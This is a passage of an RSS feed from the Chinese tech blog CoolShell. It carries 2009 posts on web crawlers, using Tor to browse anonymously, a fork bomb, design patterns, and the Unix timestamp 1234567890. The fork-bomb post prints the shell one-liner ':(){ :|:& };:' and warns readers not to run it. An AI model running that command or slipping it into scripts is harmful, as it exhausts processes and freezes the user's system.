title=\"http://wikiasearch.com\" rel=\"nofollow\" href=\"http://wikiasearch.com/\" target=\"_blank\">http://wikiasearch.com</a> ) uses to crawl the web.</li>\n<li><strong><a title=\"Heritrix\" href=\"http://en.wikipedia.org/wiki/Heritrix\" target=\"_blank\">Heritrix</a></strong> is the <a title=\"Internet Archive\" href=\"http://en.wikipedia.org/wiki/Internet_Archive\" target=\"_blank\">Internet Archive</a>’s archival-quality crawler, designed for archiving periodic snapshots of a large portion of the Web. It was written in <a title=\"Java (programming language)\" href=\"http://en.wikipedia.org/wiki/Java_%28programming_language%29\" target=\"_blank\">Java</a>.</li>\n<li><strong><a class=\"mw-redirect\" title=\"Ht-//dig\" href=\"http://en.wikipedia.org/wiki/Ht-//dig\" target=\"_blank\">ht://Dig</a></strong> includes a Web crawler in its indexing engine.</li>\n<li><strong><a title=\"HTTrack\" href=\"http://en.wikipedia.org/wiki/HTTrack\" target=\"_blank\">HTTrack</a></strong> uses a Web crawler to create a mirror of a web site for off-line viewing. It is written in <a title=\"C (programming language)\" href=\"http://en.wikipedia.org/wiki/C_%28programming_language%29\" target=\"_blank\">C</a> and released under the <a title=\"GNU General Public License\" href=\"http://en.wikipedia.org/wiki/GNU_General_Public_License\" target=\"_blank\">GPL</a>.</li>\n<li><strong><a title=\"ICDL crawling\" href=\"http://en.wikipedia.org/wiki/ICDL_crawling\" target=\"_blank\">ICDL Crawler</a></strong> is a <a title=\"Cross-platform\" href=\"http://en.wikipedia.org/wiki/Cross-platform\" target=\"_blank\">cross-platform</a> web crawler written in <a title=\"C++\" href=\"http://en.wikipedia.org/wiki/C%2B%2B\" target=\"_blank\">C++</a> and intended to crawl Web sites based on <a title=\"Website Parse Template\" href=\"http://en.wikipedia.org/wiki/Website_Parse_Template\" target=\"_blank\"><br />\n</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/27.html\">如何自己写一个网络爬虫</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/27.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>24</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何上网觅无踪</title>\n\t\t<link>https://coolshell.cn/articles/25.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/25.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 06:00:43 +0000</pubDate>\n\t\t\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[network]]></category>\n\t\t<category><![CDATA[Tor]]></category>\n\t\t<category><![CDATA[代理]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=25</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Tor是一个是开源项目，网址http://www.torproject.org（很遗憾，这个网站因为GFW，在中国大陆你无法访问，），TOR这个项目，旨在把这个...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/25.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/25.html\">如何上网觅无踪</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"TOR\" src=\"http://img.henku.com/softimages/small/20080714_111637_406_u.jpg\" alt=\"\" width=\"125\" height=\"71\" />Tor是一个是开源项目，网址<a href=\"http://www.torproject.org\" target=\"_blank\">http://www.torproject.org</a><cite></cite>（很遗憾，这个网站因为GFW，在中国大陆你无法访问，），TOR这个项目，旨在把这个世界上所有的代理服务器或是使用Tor的这各个客户端串在一起，形成一个虚似的网络。</p>\n<p>这是一个分布式的，通过一种P2P技术构建的网络。这个技术很像是BT或是电驴所使用的技术。不过，Tor 的目标是抵御流量分析，流量分析是一种对网络的监视行为，这种行为会威胁个人的匿名与隐私，商业活动与业务关系的保密和国家的安全，打破网络屏蔽。</p>\n<p><span id=\"more-25\"></span></p>\n<p>也就是说，这是一种可以保护你私人上网信息的技术。你每次请求网页你都会通过第三方，每一次你都会使用不同的路由，不同的IP地址，从而达到你在网上的行踪无人可觅。</p>\n<p>这是我推荐你下载一个三套件，Vidalia Bundle，其中包括，Vidalia, Tor 和 Privoxy，也是属于Tor这个项目。你知道的，所有的开源项目都会互相借鉴，Tor也不例，除了自己的东西，同样也会借鉴别人的项目。</p>\n<p>安装后，你可以在你的开始菜单中找到“Vidalia Bundle”，然后，请先启动Privoxy，然后启动Tor，此时，你可以把你的浏览器的Sock代理设置为127.0.0.1，端口号是9050。（注意：这是Sock代理，不是HTTP代理）如果你使用的是Firefox，你只需要下载一个Firfox的Tor插件就可以完全代理的设置了。</p>\n<p>使用TOR，不但可以让自己的上网无踪迹，同样也可以突破我们国家的Great Firewall而去访问很多不能访问的国外站点。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22367.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-150x150.png\" alt=\"聊聊 nostr 和 审查\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22367.html\" class=\"wp_rp_title\">聊聊 nostr 和 审查</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" alt=\"Alan Cox：单向链表中prev指针的妙用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_title\">Alan Cox：单向链表中prev指针的妙用</a></li><li ><a href=\"https://coolshell.cn/articles/1719.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg\" alt=\"橡皮鸭程序调试法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1719.html\" class=\"wp_rp_title\">橡皮鸭程序调试法</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/1949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" alt=\"Web中的省略号\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1949.html\" class=\"wp_rp_title\">Web中的省略号</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/25.html\">如何上网觅无踪</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/25.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Fork 系统炸弹</title>\n\t\t<link>https://coolshell.cn/articles/23.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/23.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 05:59:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[fork]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=23</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这个炸弹很简单，就是一个命令行，如下所示： :(){ :&#124;:&#38; };: 在此，我严重警告你，请不要在你的Unix/Linux或Cygwin的Shell下...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/23.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/23.html\">Fork 系统炸弹</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这个炸弹很简单，就是一个命令行，如下所示：</p>\n<pre>:(){ :|:&amp; };:</pre>\n<p>在此，我严重警告你，请不要在你的Unix/Linux或Cygwin的Shell下执行这个命令。否则，这个命令会不停地fork子进程，直到你的整个系统无法响应。</p>\n<p>再次警告你，请不要执行这个命令，除非你想重启你的系统。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" alt=\"一个fork的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_title\">一个fork的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"到处都是Unix的胎记\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_title\">到处都是Unix的胎记</a></li><li ><a href=\"https://coolshell.cn/articles/10476.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/huarong-150x150.png\" alt=\"C++11的Lambda使用一例：华容道求解\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10476.html\" class=\"wp_rp_title\">C++11的Lambda使用一例：华容道求解</a></li><li ><a href=\"https://coolshell.cn/articles/17391.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/Community-150x150.jpg\" alt=\"为什么我不在微信公众号上写文章\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17391.html\" class=\"wp_rp_title\">为什么我不在微信公众号上写文章</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/23.html\">Fork 系统炸弹</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/23.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>101个设计模式</title>\n\t\t<link>https://coolshell.cn/articles/21.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 05:59:03 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[design pattern]]></category>\n\t\t<category><![CDATA[设计模式]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=21</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>所以设计模式，实是是一种方法，一种为了解决某种或某类物定问题所使用的设计模型。据说，在编程语言方面有100多种设计模式，而在现实生活中，传说有上成千上万个模式，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21.html\">101个设计模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>所以设计模式，实是是一种方法，一种为了解决某种或某类物定问题所使用的设计模型。据说，在编程语言方面有100多种设计模式，而在现实生活中，传说有上成千上万个模式，比如写书有写书的设计模式，写武侠的一种，言情的另一种，连官方的新闻稿件也有。</p>\n<p><span id=\"more-21\"></span></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" src=\"http://sourcemaking.com/files/sm/dp_book.jpg\" alt=\"\" width=\"207\" height=\"270\" />言归正传，这个站点（<a href=\"http://sourcemaking.com/design-patterns-and-tips\" target=\"_blank\">http://sourcemaking.com/design-patterns-and-tips</a>）是向大家着力推荐的讲解编程方面设计模式的网站，除了GoF那经典的23个三大类的设计模式，还有Ｎ多的其它种类的设计模式。一共101个，最重要的是，它的这101个设计模式的写作模式如下：</p>\n<ol>\n<li>模式的意图</li>\n<li>要解决什么样的问题</li>\n<li>模式的讨论</li>\n<li>模式的结构</li>\n<li>模式的业务示例</li>\n<li>实现模式的Checklist</li>\n<li>模式的规则</li>\n<li>代码示例（包括各种语言，如：Java, C++, PHP, Delphi…）</li>\n</ol>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/8961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/kiss-150x150.png\" alt=\"从面向对象的设计模式看软件设计\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8961.html\" class=\"wp_rp_title\">从面向对象的设计模式看软件设计</a></li><li ><a href=\"https://coolshell.cn/articles/7236.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg\" alt=\"用Unix的设计思想来应对多变的需求\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7236.html\" class=\"wp_rp_title\">用Unix的设计思想来应对多变的需求</a></li><li ><a href=\"https://coolshell.cn/articles/6950.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"需求变化与IoC\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6950.html\" class=\"wp_rp_title\">需求变化与IoC</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21.html\">101个设计模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>时间1234567890</title>\n\t\t<link>https://coolshell.cn/articles/19.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/19.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 05:51:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[timestamp]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=19</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>“At 11:31:30pm UTC on Feb 13, 2009, Unix time will reach 1,234,567,890. Where wi...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/19.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/19.html\">时间1234567890</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>“At 11:31:30pm UTC on Feb 13, 2009, Unix time will reach 1,234,567,890.<br />\nWhere will you be at this momentous second?” &#8211; from <strong>Bell Labs</strong> </p>\n<p>在下周五或周六的某一时间，计算机的时间戳（TimeStamp）为变成奇妙的1234567890，而这一天就是——格林威治时间：2009年2月13日 11:31:30 。</p>\n<p> </p>\n<p>当然，因为这个时间在地球上某些地方是13日，某些地方是14日，不同的时区可能会不一样。不过，你可以使用Unix/Linux 下的Perl运行一下这个命令你就知道你的当地时间了。</p>\n<p><span id=\"more-19\"></span></p>\n<p>perl -e ‘print scalar localtime(1234567890),”\\\\n”;’</p>\n<p>对于中国GMT+8（东八区）的时间如下：2009年2月14日 早上7点31分30秒，你会在这一时刻干什么？你会在某个地方做点什么事庆祝一下吗？或是你会因为今天是情人节而在这个时间给你的爱人发个短信吗？呵呵。</p>\n<p>不过，西方某些迷信的还懂编程的朋友们开始显得有点焦虑，因为那天就是传说中的“黑色星期五”（13日星期五）。嘿嘿。</p>\n<p> </p>\n<p>接下来是“科普教育”，名词解释</p>\n<p>1）时间戳：从1970年1月1日 00:00:00 以来的秒数。</p>\n<p>2）Y2K38：因为在Unix下，time_t 被定义成signed int，所以，有符号的32位整型本身有限(2147483647)，某一天这个整型为高位为一（负数），而这一个时间是——格林威治时间2038年1月19日03:14:07 。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" alt=\"Unix 50 年：Ken Thompson 的密码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_title\">Unix 50 年：Ken Thompson 的密码</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/figure1-150x150.gif\" alt=\"Unix考古记：一个“遗失”的shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_title\">Unix考古记：一个“遗失”的shell</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19.html\">时间1234567890</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/19.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>结对编程的利与弊</title>\n\t\t<link>https://coolshell.cn/articles/16.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/16.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 05:48:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[agile]]></category>\n\t\t<category><![CDATA[pair-programming]]></category>\n\t\t<guid 